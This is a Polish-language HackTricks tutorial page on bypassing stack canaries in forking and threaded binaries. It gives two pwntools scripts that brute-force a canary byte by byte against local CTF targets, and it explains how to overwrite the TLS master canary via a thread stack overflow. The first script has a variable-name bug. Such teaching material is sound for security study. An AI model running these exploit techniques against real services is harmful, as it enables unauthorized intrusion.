BF Forked & Threaded Stack Canaries
Reading time: 4 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Jeśli masz do czynienia z binarnym plikiem chronionym przez canary i PIE (Position Independent Executable), prawdopodobnie musisz znaleźć sposób na ich obejście.
note
Zauważ, że checksec
może nie wykryć, że binarny plik jest chroniony przez canary, jeśli został skompilowany statycznie i nie jest w stanie zidentyfikować funkcji.
Możesz jednak zauważyć to ręcznie, jeśli stwierdzisz, że wartość jest zapisywana na stosie na początku wywołania funkcji, a ta wartość jest sprawdzana przed zakończeniem.
Brute force Canary
Najlepszym sposobem na obejście prostego canary jest, jeśli binarny plik to program forkujący procesy potomne za każdym razem, gdy nawiązujesz nowe połączenie z nim (usługa sieciowa), ponieważ za każdym razem, gdy się z nim łączysz, używany jest ten sam canary.
Wtedy najlepszym sposobem na obejście canary jest po prostu brute-forcowanie go znak po znaku, a możesz ustalić, czy zgadnięty bajt canary był poprawny, sprawdzając, czy program się zawiesił, czy kontynuuje swój normalny przebieg. W tym przykładzie funkcja brute-forcuje 8-bajtowy canary (x64) i rozróżnia między poprawnie zgadniętym bajtem a złym bajtem, po prostu sprawdzając, czy odpowiedź została odesłana przez serwer (innym sposobem w innej sytuacji mogłoby być użycie try/except):
Example 1
Ten przykład jest zaimplementowany dla 64 bitów, ale mógłby być łatwo zaimplementowany dla 32 bitów.
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
Przykład 2
To jest zaimplementowane dla 32 bitów, ale można to łatwo zmienić na 64 bity.
Zauważ również, że w tym przykładzie program oczekiwał najpierw bajtu, aby wskazać rozmiar wejścia oraz ładunku.
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
Wątki
Wątki tego samego procesu również dzielą ten sam token canary, dlatego możliwe będzie brute-force'owanie canary, jeśli binarny program tworzy nowy wątek za każdym razem, gdy występuje atak.
Ponadto, przepełnienie bufora w funkcji wielowątkowej chronionej canary może być użyte do zmodyfikowania głównego canary przechowywanego w TLS. Dzieje się tak, ponieważ może być możliwe dotarcie do pozycji pamięci, w której przechowywany jest TLS (a tym samym canary) za pomocą bof w stosie wątku.
W rezultacie, łagodzenie jest bezużyteczne, ponieważ sprawdzenie jest używane z dwoma canary, które są takie same (choć zmodyfikowane).
Ten atak jest opisany w artykule: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads
Sprawdź również prezentację https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015, która wspomina, że zazwyczaj TLS jest przechowywany przez mmap
, a gdy stos wątku jest tworzony, jest również generowany przez mmap
, co może umożliwić przepełnienie, jak pokazano w poprzednim artykule.
Inne przykłady i odniesienia
- https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64 bity, brak PIE, nx, BF canary, zapisz w pamięci ROP, aby wywołać
execve
i przeskoczyć tam.